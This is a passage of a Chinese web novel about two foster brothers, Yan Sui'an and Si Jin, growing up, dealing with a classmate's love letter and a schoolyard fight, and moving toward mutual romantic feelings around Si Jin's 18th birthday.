燕绥安几乎是立马跑进了客厅,拿着手机跑走,没理会他们的嘲笑,气喘吁吁站在院子里头,把手机贴在了耳朵边上。 他没有说话,能听见对面烟花爆竹和细微的呼吸声。 最后还是司谨先开了口:“小燕哥哥?” 燕绥安轻咳一声:“嗯,过年好。” “新年快乐。”司谨的语气里满是笑意,很高兴似的,“哥哥你放烟花了吗?” “嗯,看了烟花。” 司谨的话很多,和他说自己在老家做的事情,燕绥安不喜欢聒噪的人,可是这会儿却很有耐心地听着。 说了好一会儿,司谨也累了。 “小燕哥哥,你晚上睡得好不好呀?” 燕绥安垂下眼眸,撒了个谎:“不太好。” “啊?”对面果然一下子就着急了,“那你要和封阿姨说呀,不可以自己睡。” 燕绥安呼出一口气,搓了搓冰冷的脸,说:“没那么严重,你什么时候回来?” 注意力一下被转移了,司谨乖乖回答:“开学之前回来吧。” “这么久?” 燕绥安很不高兴,可是他也没办法说什么,毕竟都小半年了,司谨才回去了那么一趟,肯定要和家里人好好团聚。 “嗯嗯。” 司谨好像察觉到了他的情绪不对,但燕绥安却鬼使神差说:“我要和同学一起去玩,先挂了,你好好玩吧,放炮要小心,别受伤了。” “好,小燕哥哥拜拜~” 挂断了电话,燕绥安有些沮丧。 他觉得自己刚才就应该借着司谨心软的那股劲,让他早一点回来,可是想了想又于心不忍。 还是算了- 时间过得很快,开学前燕绥安将作业做完了,熬了个大夜起床,下楼的时候就听见客厅热闹非凡。 “小燕哥哥!” 熟悉的声音传来,燕绥安才发现司谨回来了,后面还跟着司爷爷。 他愣怔几秒,感觉在做梦,自己都还没有完全反应过来,就先一步跑下楼,狠狠把小家伙抱进了怀里。 “你终于回来了。” 燕阔峥见着这一幕忍不住笑了:“好小子,果然是想小谨了,还不好意思说。” 司谨被抱得有点疼,但感知到小燕哥哥对自己的思念也很惊喜,便也抱住了他。 司爷爷过年期间一直听小孙子说燕家人对他好,心里头还有些不相信,这会儿见着这一幕,心里头的担心和紧张也终于消失了。 抱了好一会儿,燕绥安才不好意思地松开司谨,只是分开时摸到司谨粗糙的掌心,他又皱了皱眉。 在燕家的时候钟姨特意给司谨磨了掌心的茧子,到后面他的手心已经很嫩了,现在又磨得很糙,一看就是干了不少活。 但当着司爷爷的面他也没有多说什么,只是决定之后这段时间要努力把司谨弟弟养得白白胖胖。 作者有话要说: 下一章长大,情窦初开 第59章 眨眼几年过去,司谨读初中,燕绥安已经升高中,开始了紧张的学业。 正是情窦初开的年纪,刚开学没多久,司谨身边就出现了许多他听不懂的话题,放学路上会看见在班上打闹的男女同学偷偷牵着手,一遇见老师就松开,还会在洗手间边上的小走廊听见别人在说一些很奇怪的情话。 平时他闲着没事做也会在客厅停留很久,封阿姨看的那些电视剧里面,男女主角就会说这种话。 所以……他们是在谈恋爱吗?这不是早恋吗。 心事重重回到家里,他总觉得自己好像撞破了什么。 一进门,封冉悦正好在他前面进门,司谨知道她是去视察自己新开的美容院分店了,便快步上前打过招呼。 “阿姨。” 封冉悦听见声音回过头来,立马笑了起来:“今天回的还挺早,晚上想吃什么?” “想吃炒面。”现在学业比较辛苦,司谨就喜欢吃一些油大的东西。 “行,让钟姨给你做个豪华版炒面,指定比学校门口的好多了。” 封冉悦给他摘了书包,顺手捏捏他单薄的肩膀,忍不住说:“还是瘦,这个年纪太辛苦了,你们兄弟两都是这样。” 司谨想了想,“我觉得哥哥不瘦。” 燕绥安现在飞速长身体,已经比他高了快一个头,穿着校服的时候显得身材颀长,但晚上换衣服的时候就能看见宽阔笔直的肩和流畅的肌肉线条。 感觉一拳能打死个他。 封冉悦被他一本正经的话给逗笑了,“就属你最维护他,反正你们两都得多吃点东西,以后每天下午放学都让司机给你们带份下午茶去。” 她在这计划着,往沙发上一坐,又发现司谨的表情有点奇怪。 “想什么呢?今天在学校累不累?” “还好。” 司谨其实还在想撞见同学搂搂抱抱的画面,但他也不好意思和封阿姨说这些。 不过他的心思向来好猜,封冉悦的教育理念向来都是孩子开心就好,所以和他相处的时候也没有什么架子,这会儿想到早就该和司谨上上青春期的课,便找到机会开口了。 “前阵子看班群里头说不少人在谈恋爱,你有撞见过吗?” 司谨微微睁大眼睛,有点儿惊慌似的摇了摇头。 其实他也不是故意想要瞒着封阿姨,只是害怕回头封阿姨和班主任说了,这件事情传出去弄得不好。 “这样啊,那班上有没有人向小谨表示好感呢?”封冉悦看出了他的紧张,只笑笑,“又不是拷问你,趁着他们爷俩都不在,咱们偷偷讨论这个话题,青春期的小孩都容易有喜欢的人,年纪轻胆子也大。” 她是知道燕绥安对这个弟弟有多在意的,不愿意看见他有半点要学坏的迹象,肯定不会和他说这个。 司谨被她说动了,但也只是摇摇头,诚实地说:“没有。” 他的确时常听见谁要和谁表白的事情,这种消息只要传出来了在班上就不是秘密,但这么久以来,他的确没有收到过别人的告白和情书。 封冉悦稍微松了口气,但看着小家伙白净漂亮的侧脸,心底又是咯噔一下。 “那小谨现在有喜欢的人吗?” 司谨表情迷茫,摇了摇头:“我不知道。” 他甚至从来都没想过这件事情。 “那要是现在有女孩子和小谨表白,小谨准备怎么回应呢?” 司谨为难地皱紧眉头,脸颊微微涨红了,却不知道该说什么。 封冉悦平时就喜欢逗他,这会儿瞧见他的反应忍不住想笑,还没来得及再开口,玄关就传来不悦的声音。 “妈,你别总和他聊这个,现在是学习的时候,你故意带坏他做什么。” 司谨听见熟悉的声线一抬头,眼睛就亮了起来。 燕绥安紧拧着眉头,显然是把刚才的讨论都收入耳中,分明是个少年模样,却说着教训自己更为成熟的母亲的话。 封冉悦哈哈大笑:“还被你抓了个正着,不是闲着没事做随便聊聊吗?” “这个点还不写作业,又要写到半夜了。”燕绥安语气冷淡说了这么句。 被他一提醒,司谨才连忙起身。 “也是,那小谨赶紧上去收拾吧,钟姨饭快做好了,一会儿下来吃,你也是,还不赶紧收拾收拾去,晚点还有晚自习呢。” 燕绥安嗯了声,跟着司谨一起上楼了。 走进房间,司谨把背包和外套挂好,刚把书放在桌子上,身后脚步声就走近了。 “学习里有人和你表白了?” 司谨被他吓了一跳,睁大眼睛转过头,对上视线又莫名心虚低下脑袋去。 “没有啊,是阿姨问的。” “是吗?”燕绥安的语气有点怪,“那如果真有人和你表白呢?要答应吗?” 司谨觉得哪不太对,纠结好一会儿才大着胆子问:“为什么要答应啊?” “……” 燕绥安沉默两秒:“你不想谈恋爱吗?我听说你们班这周就被抓了两对,还被喊到教务处叫家长了。” 司谨也知道这件事情,但并没有过多了解,这会儿想象了一下那画面,便连忙摇头:“不想,而且我也没有喜欢的人。” 原本燕绥安还想说什么,但听见后面那句,才莫名松了口气。 他其实没太明白自己刚才心里头那点不满是从哪来的,但是司谨都说没喜欢的人了,他就不用再继续担心。 “好,洗个手下去吃饭,有不会的题目吗?” 司谨点点头,和他说了几天听课走神没搞懂的地方。 燕绥安跟着他进了洗手间,两人一左一右冲手,镜头里头倒映出一高一矮的身影。 “好,吃完饭跟你讲,我晚上有事要很晚回,你早点睡觉。” “知道了。” 司谨擦干净手,从镜头里面去看哥哥高中张开以后越发锋利冷淡的眉眼,总是觉得哪里和以前不太一样了。 正想着,燕绥安忽然抬起头来,从镜头里面和他对上了视线。 眉头一挑,偷看被抓包的司谨连忙转身要走,却被他用手臂勾住了脖子,又重新踉跄着转回了镜子前面。 “好像长高了点。” 燕绥安若有所思地说。 司谨也抬头看向镜面,蔫巴地说:“还是比你矮那么多。” 燕绥安笑了笑,眼角微微扬起,是几乎不会在外面表现出的放松,他说:“怎么?还想超过我?” 司谨想也不想便点点头:“想。” “想想就好。”燕绥安回答。 “……” 司谨哼一声转身要走,又被他勾着脖子扯回来。 燕绥安给他整理了校服衬衫的领口,又给他捋捋头发,说:“我是哥哥,比你高大也能保护你,乖乖的,别老生气。” 动作很温柔,惹得司谨心跳徒然漏了一拍。 他听话点点头,看着燕绥安笑了笑转身出去,忍不住叹口气。 手指抚上刚被叠好的领口,却摸到湿漉漉的一片。 燕绥安居然用他的衣服擦手! 怒气冲冲跑出去,房间里头空空如也,外头的人猜到他的反应,已经先一步跑楼下吃饭去了。 好气! 下楼见着燕绥安坐在餐桌前,司谨故意看也不看他,自己装了饭跑去院子里头吃。 封阿姨下午用过下午茶所以这会儿并不饿,也没盯着他们吃饭。 院子外头光线有些暗了,司谨找了个躺椅坐下,挑挑拣拣把碗里的菜拣好,吃掉了自己喜欢的,其他的准备吃完以后直接一口气塞进嘴里。 可刚吃完其他饭菜,他深吸口气准备把那些塞进嘴里吞下,身边忽然伸来一双筷子,把那一堆豆芽胡萝卜丝给夹走了。 “你——” 司谨回头见着燕绥安动作自然把自己的剩菜吃了,眼睛瞬间瞪得老大。 “不喜欢就别吃了,不差这点营养。” 钟姨最喜欢念叨这些,说这也有营养那也有营养,不过家里只有乖乖小孩司谨会听。 司谨其实是惊讶的,但想到他刚才的举动,又哼一声扭开脑袋,准备起身回屋子里。 燕绥安什么也没说,跟在他身后。 只是走了没多久,司谨忽然又想到了什么,报复似的回头问:“你不会早恋了吧?” 燕绥安似乎没料到他会这时候回头,脸上的表情有一瞬间的不自然,但很快又笑了:“为什么这么问?” 他没有否认。 司谨微微垂下眼眸,不知道为什么,这一瞬间心情就变得不是很好。 “因为大家都在谈恋爱,班上的人说高中谈恋爱的更多,而且有的都很明目张胆,跟你告白的人是不是也很多。” 燕绥安没有丝毫犹豫就点了头:“是挺多的,你呢?” 他的反问让司谨措手不及,下意识就摇摇头:“一个都没有。” 这么对比下来,他莫名有点挫败。 其实从小他就知道燕绥安长得好看受欢迎,喜欢他的人肯定不少,但是对比之下,居然没有一个人喜欢他,难怪燕绥安要嘲笑他。 “没有就行,好好学习的时候,别想这些事情。”燕绥安倒是很满意。 司谨什么也不想说了。 晚上燕绥安果然跟他说的一样,一直到很晚都没回来。 司谨晚上陪着燕叔叔喝了几杯茶,好半天都没有困意,闭着眼躺了不知道多久,房间的门就被打开了。 熟悉的脚步声,是燕绥安回来了。 浴室里头传出洗漱声,等人躺在了自己身边,司谨闭上眼睛装睡,隐约间似乎感觉到身后有一束目光紧紧盯着自己的后背,但没多久就挪开了。 身边的人睡前开始玩手机,语音消息点开还没来得及连上耳机,里头青春洋溢的女声就传了出来,问燕绥安到家了没有。 司谨听着身后打字的动静,莫名就想起了封阿姨晚上散步时候和他说的那些话。 封阿姨说虽然燕绥安看起来挺稳重的,但指不定到了叛逆期就会离经叛道,会喜欢那种行事风格比较疯狂大胆的女孩,到时候就能看见燕绥安被治的模样。 司谨听见这这些话的时候笑了,可是心里面却没有一点放松的感觉。 他长大了,懂了很多东西。 知道为什么每次他要回余城的时候,哥哥都是那样一副不高兴的样子,也明白了哥哥总是隐藏在冷漠表象下的在意和关心。 虽然他们并不是亲兄弟,可是在一起待了这么多年,对彼此的意义早就不一样了。 如果有一天燕绥安有了需要更加在意的人,他肯定会很难接受的。 可是……这种事情无论早晚,总归是要发生的,他只能慢慢让自己接受。 心里头泛起一阵酸涩,直到身后的人都关上手机躺下开始睡觉,他也还没有萌生出睡意- 只是让司谨没想到的是,这个话题结束的一周过后,他在周五放学回到家时就摸到了书包里头不知何时出现的情书。 还是两封。 还没反应过来,房间门推开,燕绥安进来看见他手上粉白色的信封,挑眉吹了声口哨。 “情书?” 司谨的反应称得上是手忙脚乱,他捏着手上的信封动作半天,不知道该塞回书包里还是放在桌子上。 “好像是吧……”他干巴巴说完,低头看见了信封下面还写着自己的名字。 真的是给他的,不是送错了。 燕绥安走到他身边,淡淡道:“不拆开看看?” 司谨抿住嘴唇,把信封放在了书桌下面,还用课本压住,说:“我晚一点再看。” 还真要看。 燕绥安皱皱眉头,看着他红扑扑的脸蛋,心里很不是滋味,没再多说什么。 明天不用上课,司谨不着急做作业,便趁着他下楼吃饭的时间打开了其中一封。 不算很长,只是表达了对他的喜欢,字迹工整漂亮,没有署名。 看完这封,司谨打开另外一封。 这张很长,足足写了三页纸,从开头到最后一句情感都很浓烈,有些话语让他忍不住脸红,甚至有些不好意思再往后看。 可是等看到最后面的那个署名,他一下睁大了眼睛,开始怀疑这是个恶作剧。 边上的门被推开,燕绥安吃完饭回来,看见他着急忙慌把信纸叠起来的防备模样,眉头蹙紧不太高兴。 “有这么好看吗?连吃饭都顾不上了?” 司谨涨红了一张脸,犹豫着抬头看了他一眼,一下不知道该说什么。 以为自己吓到他了,燕绥安停住脚步,不情不愿道:“我又不偷看,这么紧张干什么?” “我没说你要偷看。” 司谨小声说完,把信纸塞回去,想着最后面的那个署名,还觉得不可思议。 写这封情书的居然是隔壁班的一个男同学,他对这个名字有印象,是因为这三个字总是出现在通报批评的广播里面。 是故意整蛊他吗?给他写一封这样的情书。 他知道那些人总是聚在一起筹划坏主意,说不定这次欺负的对象就变成了他,可是……他从来都没有跟他们说过话啊,为什么要给他写?是因为他看起来比较好欺负吗? 许多问题在脑海中闪过,让他觉得很头疼。 可是那些话看起来也很直白简单,明显想到哪写到哪,没有明显的逻辑,倒是不像从网上抄的,那难道是这个人自己写的? 燕绥安察觉到他表情不对劲,过来摸摸他额头:“怎么了?” 司谨抓住他的手,就好像抓住了救命稻草。 其实这种事情和燕绥安说还是有点不好意思的,虽然现在燕绥安很少明确地管他,但对他的事情还是很上心的,说不定知道以后会不高兴。 但他也不知道还能和谁说。 犹豫好久,司谨还是抬起脑袋,小声问:“哥哥,你说男生也能喜欢男生吗?” “什么?” 燕绥安惊愕一瞬,目光落在那封叠好的情书上,马上明白过来,脸色就变得阴沉难看。 作者有话要说: 燕哥:[裂开]谁?[愤怒] 第60章 “我再说一遍,给我看看。” 司谨头顶传来冰冷的声音,他还是紧紧攥着手中信封,小脸上满是委屈。 “现在是连我的话也不听了吗?”燕绥安脸色很难看。 司谨犹豫两秒,讨好似的喊他:“哥哥,你说过这种是隐私的,不可以随便给别人看。” 燕绥安准确无误抓住了他话语中的漏洞:“我是别人吗?” “……” 司谨一下子就沉默了,没了反驳的底气。 燕绥安了解他,这会儿也没犹豫,乘胜追击,“哥哥也不能看吗?还是说你心动了,准备明早去看看他是个怎样的人。” “才没有。” 司谨眼睛睁大,迟疑半天还是乖乖把信纸交给他了。 “你只可以在这里看,不能拿走,也不要告诉阿姨。” 燕绥安自然不会,利落伸手接过,垂眸打开。 扫过那一行行露骨直白的话,他的脸色变得愈发阴冷。 好半天冷笑一声,他说:“你们初中生现在胆子也这么大了。” 司谨警惕地看着他的表情,趁着他还没说别的,抢先一步道:“你说过不会告诉别人的,也不能跟我发脾气。” “我在你心里就这形象?” 燕绥安冷着脸,把信纸折叠起来,塞进了自己的口袋里。 “那是我的。”司谨弱弱抗议。 但等燕绥安看他一眼,他就不敢说什么了,他丝毫不怀疑如果自己不在这里的话,对方折叠纸张的力道会把它揉成一团。 “好好上学,别想东想西。” 时间差不多了,燕绥安没办法多停留,拎着水杯又去学校上晚自习了- 原本以为燕绥安会做什么,但信纸被拿走以后,司谨度过了相当平静的一个月。 他总是害怕那个男生会忽然出现在班级门口,毕竟他都敢在情书里面写那么露骨的话,说不定下一步就是到他面前来表白。 其实他很想找别人打听一下这人的身份,但最后还是没有这么做。 马上到放假的时候,他又要回老家一趟。 这么长时间那人没有来,书桌里面也没有再出现情书,司谨基本完全要将这件事情给忘记。 这天学校周末挪给其他学校考试,他早早离开,便瞧见楼下伫立着一道熟悉的身影。 眼睛微微一亮,他快步跑下去,快到跟前的时候觉得难为情,便又放慢了脚步,只是还没来得及喊人,便被一道影子给挡住了。 “司谨。”少年立在他面前,不算和善的嚣张面容上带着点儿难以言说的紧张,“能和你说几句话吗?” 司谨愣怔一下,点了头:“好。” 不知道这人想说什么,他站在原地没动,还等着对方说完以后他快点去找哥哥。 可那人的表情却不太自然,看了眼周围,似乎想提醒什么,但最后深吸口气还是直说了:“我是隔壁班的,上个月给你送了情书,不知道你看见没有。” 此话一出,司谨足足僵了好几秒,明白过来他的意思,眼睛一下子就睁大了。 “是你!” 少年见他想起来了,露出一抹很灿烂的笑容。 “你想起来了,那肯定是看过了吧,我之前是想给你考虑的时间,所以一直没有来找你,你现在有想清楚吗?” “……” 司谨摇摇头,很快又明白什么,磕磕巴巴说出了自己早早想好的措辞:“我目前还没有谈恋爱的打算,不好意思。” 少年没有丝毫气馁,说:“我知道,你们这种好学生都不喜欢早恋,不过我可以等你啊,等你高考完我们再在一起也不迟。” 他这话显得过分自大,司谨都觉得难为情,涨红了脸认真回答:“那时候我可能也不会考虑你。” “你不喜欢男生吗?” “……” 这又要怎么回答?司谨自己都从来没有想过的。 两人在这僵持这么久,后面的燕绥安也察觉到了不对,冷着脸快步朝着他们的方向走来。 “干什么呢?” 肩膀忽然被揽住,熟悉的力道扣在肩膀上,让司谨感觉到了很细微的疼痛,可是这股力道此时却只让他觉得安心。 毫不犹豫转过头看向燕绥安,他眼里全是委屈和无措。 少年看见这一幕,眼神也变得危险起来,盯着燕绥安看了一会儿,像是认出了他的身份。 “我知道你,你是司谨的哥哥。” 燕绥安瞥了他一眼,冷笑道:“知道我是他哥哥,你还敢在这跟他表白,是想被叫家长吗?” 这个年纪的人虽然容易冲动,但对于请家长这种事还是有畏惧感的。 少年脸色微变,说:“这是我和司谨之间的事情,至于吗?” “你没看出来他不喜欢你?”燕绥安毫不留情面。 少年的脸色苍白,没了那股桀骜的劲,只一个劲盯着司谨:“为什么?是因为你喜欢女孩吗?” 这或许是最好让他死心的方法了,于是司谨郑重其事地点了点头。 “对,我喜欢女孩子,所以很抱歉。” 其实这人是有点吓到他了,但是他也不敢多说什么,只希望能让这人快点走开。 “真的吗?” 少年却是满脸的不相信。 司谨不想搭理他,扯了扯燕绥安的衣角,小声说:“哥哥,我们走吧。” 他都有点饿了。 燕绥安垂眸看了他一眼,却没有立刻离开,而是看向少年,冷冷道:“你跟他道歉。” 少年面露不解。 司谨自己都不懂。 “你今天的行为很冒犯。”燕绥安的表情不太好看,语气是不属于这个年纪的严厉,“在这么多人面前和他表白,你是希望这件事成为全校的谈资,让我弟弟变成一个笑话吗?” 这话其实说的有些重了,少年的表情不太自然,似乎想要回怼什么。 “你也可以选择不道歉,回头让你父母押着你到他面前。” “……” 司谨觉得好像有点过分,忍不住抬起头看了眼燕绥安,想要劝说什么,最后却又不敢。 哥哥在帮他说话,他现在要是反过头来替这个人讲话,肯定会驳哥哥面子的。 少年咬着牙思考几秒,还是转头看向了司谨,认认真真和他道了歉。 “没关系。” 司谨松了口气,拽着燕绥安就想快点走。 谁知道他们转身的时候,身后的人又补充了一句。 “不过就算这样,我也会一直喜欢你的,等你高考结束以后,我会再次尝试追求你。” “……” 怀里抱着的胳膊忽然抽离,身边穿过一阵风,司谨诧异转身,在看见燕绥安狠狠一拳砸在少年脸上的瞬间,止不住发出惊呼。 “哥哥!”- 燕阔峥和封冉悦都在外地,来学校的是燕尚。 司谨站在走廊外面,脑子里面还是一片空白,远远看见穿着大衣的燕尚走近,眼眶就红了一圈。 “大哥。” 燕尚摸摸他的头,认认真真打量他。 “我没打架。”司谨乖乖解释,“是哥哥打人了。” 燕尚倒是没什么反应,松口气说:“没事,一会儿出来咱们吃饭去,云鼎上了新菜,你肯定喜欢。” 司谨现在没心思想吃的,蔫了吧唧点点头,没有接话。 没多久燕尚进去,几分钟就把人给领了出来。 燕绥安唇角有细微的擦伤,相较于脸颊肿了一大块鼻子出血的对手来说跟没事人一样。 “走吧。” 燕尚看了他一眼,摇摇头牵起了司谨的手,让他自己走在后面反省。 司谨一步三回头,等到上了车才小心翼翼凑过去贴着燕绥安坐,盯着他脸上的那点痕迹,眼睛里的泪水又在打转。 “哥哥,疼不疼啊?” 燕绥安看他一眼,镇定自若:“不疼,别哭了。” “我没哭。” “眼泪都要掉下来了,至于吗?” 司谨抬起手擦擦眼角,小声说:“你为什么要打他啊,他就是随便说说而已。” 这话一出,燕绥安的脸色又变得很臭,“是吗?所以你觉得是我不讲理?” “我不是这个意思。” 司谨觉得他在故意找茬。 燕绥安闭上眼睛,不想说话了。 燕尚看着后面两小孩,只觉得头疼。 带着他们吃完饭回家,晚上司谨躺在床上,一个劲抬起头看燕绥安的脸,他正躺在床头看书,小夜灯映亮他的侧脸,显得那块红痕更明显了。 “哥哥。” “嗯?” 司谨眨眨眼睛,小声问:“你准备去哪里读大学啊?阿姨说想让你出国。” 燕绥安轻哼一声:“都行,你觉得呢?” “我不想你去那么远的地方。”司谨一想到自己要和他分开,心里面就很难过。 “明年我就高考了,爸爸应该已经定好了,我都无所谓。”燕绥安故意这么说。 果然,司谨的眼尾垂了下去,是很委屈的样子。 “到时候我回家的时间短了,那个人要是再来骚扰你,知道该怎么做吗?” 司谨回过神,小声说:“告诉大哥?” “嗯,或者直接和司机说,他离得近也方便帮忙。” 司谨想了想,总算反应过来什么:“所以你今天才要打他,是为了给他教训吗?” 燕绥安没说话,证实了司谨的猜想。 心里头有点感动,司谨凑过去抓住他的手,心中很是不舍。 “哥哥,那你要多给我打电话,放假要多回家,我也可以去找你玩。” “嗯。” 抓着他的手,司谨不情不愿沉沉睡过去,一直到了梦里都全是燕绥安坐着飞机出国,他在地面上哭着追不上的可怖画面- 只是等几个月过去以后,燕绥安高考结束,司谨也正式进入初三,这才知道从最开始燕叔叔就没想让他出国。 “京大也是个不错的选择,何况你妈也舍不得你。” 燕绥安对于这个安排没有丝毫异议,只是上楼以后就遭到了司谨的一阵撒泼宣泄。 “你骗我!” 燕绥安觉得他这副模样可爱极了,伸手将人搂住,笑了起来:“给你个教训,让你每次去余城都那么晚回来。” “余城是小谨的家,回去时间多一些又怎么了。”封阿姨端着水果盘进来,听见儿子的话就忍不住教训。 司谨脸色微变,下意识从燕绥安的怀中退了出来。 燕绥安也没什么反应,轻笑一声坐在椅子上,说:“我把司谨当亲弟弟,也是会想他的。” “那你有空也能跟着小谨一起去。”封冉悦说完看了眼房间,像是忽然想到什么,“不知不觉你们两都这么大了,一个房间有些挤吧,我想着让小谨去隔壁房间,这样不至于打扰。” 这其实已经不是她第一次说了,先前燕绥安要上晚自习,她就提出过,但最后两个孩子都不太情愿。 她知道司谨最粘燕绥安,但想到刚才两人那亲密的画面在脑海中闪过,还是让她克制不住再提议了一次。 司谨心思敏感,隐约间猜到什么。 但没等他开口,燕绥安便道:“搬什么搬?这床大到还能再挤三个人,何况我马上就要去学校附近住了,以后回来的日子少,小谨一个人住也宽敞。” 他都这么说了,封冉悦也没再强求- 燕绥安虽然大多数时间住在学校附近的房子,但回来的次数还是很勤,不过就算这样,司谨也还是觉得很不习惯。 一眨眼三年过去,燕绥安开始在燕氏实习,司谨也已经进入了高三的紧迫学习生活。 他的生日正好在考试前,虽然学业紧张,封阿姨也还是给他操办了一番,只有家人和朋友的聚会。 司谨熟悉的同学很多,但其实没有几个关系很密切的,在聚会里好好放松了一番,司谨收到了许多礼物,可是却总觉得缺少了什么。 很晚的时间,大家都走得差不多,司谨靠在二楼的露台上,听见身后脚步声逐渐逼近。 转头一看,是封阿姨。 “绥安没回来,觉得不习惯吧?”封冉悦笑着将果盘放在他手边上。 司谨有点儿心虚,只是点了点头。 “你燕叔叔这次是想考验考验他,原本以为今天正好能回来,谁知道航班延误了。”封冉悦摸了摸他的手,“你别怪他们,家里人都很重视你的生日。” 司谨一如既往的听话:“没事的,反正以后还有很多生日的。” 封冉悦闻言笑了。 但她其实也清楚,十八岁生日是不太一样的。 知道她要睡美容觉,司谨催着她去休息,自己在露台一站又是好半天。 接近零点,手机忽然响了起来。 是燕绥安。 司谨在外面吹了很久的风,虽然是初夏,却还是止不住觉得皮肤泛凉,他伸手接起。 “睡了吗?”燕绥安的声音中带着些许疲色。 “还没。” “在外面吹风?” “嗯。” 对面传出很轻的叹气声,“生我气了?” 司谨莫名觉得耳廓发麻,在空寂的夜风中,燕绥安的声音显得格外低沉。 “没有。” 周围很是安静,燕绥安忽然说:“去房间床头柜帮我找个东西。” 心跳忽然快了起来,司谨心底有了猜想,却没有说出来,保留着这份神秘脚步匆忙回到了房间里面,连门都没来得及关上。 跪坐在地板上,他拉开燕绥安所说的第二个抽屉,在里面看见了一把钥匙,黄铜十字的,看起来很是古老。 “这是什么?” 电话没有挂断,燕绥安就在对面听着他轻微的喘息。 “阁楼有个房间,这是开门的锁,我送你的礼物在里面,趁着时间还没过,你亲自签收吧。” 司谨只怔了不到一秒变起身上楼,到阁楼前开门的时候,手还止不住颤抖。 钥匙插入门锁内,轻轻一拧,厚重房门内的光亮就遮掩不住似的散了出来,映亮他的面颊。 里面有个正在运转的模型,透明的星球悬浮在空中微微旋转,宛若琉璃般的冰山底座还伫立着几个小人,他凑近了看,发现这些人的形象像极了燕家人。 穿西装大衣的是燕叔叔,拿着团扇站在花丛前的是封阿姨……还有坐在亭子里头笑意盈盈的是他的爷爷。 眼眶微微酸涩,他终于有勇气抬起头去看那个旋转的装置,中间的小人手上紧握住一根晶莹的细线,连接的地方是一抹黑影,只有那个人在星球外面旋转,无论是哪个方向丝线虚虚悬在他的身上,眼眸中似乎只能承载下这么一颗亮着光芒的星球。 眼眶微微酸涩,司谨刚想说话,电话里又传出燕绥安的声音。 “底下还有机关。” 这就是让他自己探索的意思了。 司谨认认真真低头去找,轻轻拧了一下其中一个小人,星球下面的细线晃动,冰山朝着两侧裂开,还有仿真的碎冰簌簌落下,视觉感极强。 星球中间的小人随之移动,和慈祥和蔼的老人贴在一起,背后的投影出现两人的合照倒影。 一个个试过去,他尝试着触摸一下悬浮在星球外的小人,房间内却传开了他所熟悉的声音。 “司谨,生日快乐。” 司谨的眼睛被光所映亮,此时盛着的水光宛若涟漪般散开,让他已经说不出一句话。 可是还没有结束,不知安静了多久,在冰山前的小人忽然转了个身,和司谨小人“不小心”贴了一下。 “如果世界是一颗永恒不灭的星球,我愿意一直在外面陪伴你。” 听见这句话,司谨忽然克制不住笑了。 “为什么是在外面?” 燕绥安始终静静听着他这边的动静,闻言平静回答:“这样可以保护你。” 司谨心跳如雷,紧紧抿住嘴唇克制自己的哽咽,平复过来情绪才小声问:“你什么时候回来?” “去睡一觉,醒来我就会在。”燕绥安轻声说,“生日快乐,宝宝。” “……”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第61章【完结】 第61章 和电话里许诺的一样,司谨再次睁开眼时,房间书桌前已经多了一道身影。 燕绥安似乎正在忙工作,敲击键盘的声音细微清脆。 翻了个身,他原本没想吵醒燕绥安,可是那人已经听见声音回头了。 “醒了。”燕绥安回头看他。 四目相对之间,司谨的心脏又重新颤动起来,昨晚看见礼物时的那种悸动尚未散去,又汹涌地窜入了他的胸膛,让他觉得自己想的那些都不是猜测。 哥哥是不是也…… “去洗漱,钟姨做了早餐。”燕绥安催促他,说着却合上笔记本,起身朝着他走来。 司谨迷迷糊糊被他掀开被子揽着坐起来。 他们两个从小就待在一起,换衣服的时候自然也没有顾忌,司谨刚把睡衣脱掉,就乖顺抬起手去穿燕绥安整理好递过来的卫衣。 脑袋钻出领口,他抬起头,鼻尖就蹭上了男人的下巴,触感很热,让他心跳不自觉又漏了一拍。 吃过早餐,他回到房间看书,觉得累了就往床上爬。 燕绥安进门时看见的就是这么一幕。 因为姿势衣服下摆往上扯,露出一截窄而薄的腰,底下的曲线微微浮起,很圆润。 微蹙眉头,他过去扯了一片被角丢上去。 “别趴着看,像什么样子。” 司谨回头看见是他,眼睛一下亮起来,撒娇似的开始说自己很紧张。 “原本这个时候应该在学校的,但是非放假,搞得我更不安了。” 燕绥安过来摸摸他的脑袋,动作很是自然,“要不要出去玩?” 司谨被他的话逗笑了,颇为不满回头:“那我不是更紧张了。” 就知道他会是这么个回答,燕绥安放下心来,只道:“别太焦虑,等你考完带你回余城,不是说想爷爷了?” “嗯。” 司谨有点儿向往,小心翼翼看他一眼:“哥哥,你和我一起去吗?” 虽然从前燕绥安也和他去过几次,但每一次抵达余城以后的心情都不是很好,所以之后他也没有再想过带着燕绥安回去的事情。 “很久没见到司爷爷,想给他带点礼物。” 司谨点点头,没有再多问什么。 但让他感到奇怪的是,越是紧张焦虑,脑子里就越容易想一些有的没的。 阁楼上的礼物被他拍了视频存在手机里面,有空的时候就点开看一眼,心底止不住泛起惆怅来。 他看见礼物的时候真的很激动,可是现在他也搞不懂,哥哥的心意到底和他是不是一样的。 但是…… 不知道从什么时候开始,他的目光好像就只能停留在哥哥的身上,久久无法挪开。 这件事情如果让封阿姨知道了,她肯定会很失望吧。 这个念头刚从心底冒出来,就让司谨猛地打了个寒颤,这些日子他沉浸在自己的情窦初开的喜悦中无法自拔,却忘记了两人的身份。 虽然他和燕绥安并不是亲兄弟,可是在一起这么多年,他们一直都以兄弟相称,就连封阿姨有时候说起事情上了头,也会在他的面前自称母亲。 怎么办? 考试的前几天晚上,司谨完全睡不好,除开高考的紧张以外,他也总是做一些心意败露后燕家人对他失望的梦。 他真的不想要这样,可是……他也是真的喜欢哥哥。 燕绥安对他又是怎样的心思呢?他从来都看不懂,只能在心里悄悄将对方给自己的好和坏进行分隔,可也就是到现在他才发现,燕绥安对他一直都很好的。 就像是,真的把他当做自己的亲弟弟。 心中一片酸涩,他深吸口气想要调节心情,却怎么也做不到。 深夜在床上气馁地翻了个身,还没来得及再次闭上眼睛准备入睡,身边的人就忽然开口了。 “睡不着?” 司谨被他吓了一跳,他原本以为燕绥安已经休息了。 “有一点点。”他小声回答,努力平复着心底的躁动。 燕绥安翻了个身面对他,半晌问:“在想什么?” 心里那点想法自然是不能说出来的,司谨揪着被子,把小半张脸埋进去,思考好一阵才小声说:“就是觉得马上要高考了,以后都见不到这些同学,心里面有点难过。” “是吗?”燕绥安笑了声,似乎没有放在心上,“你不是和同学关系都一般吗?” 其实司谨在班上很受欢迎,他长得好看脾气又好,别人主动找他帮忙的情况下只要保持一些基本的礼貌,都不会遭到他的拒绝。 但是司谨似乎很难和人建立一段关系,以至于到了要毕业的时候和这些人都不是很熟悉。 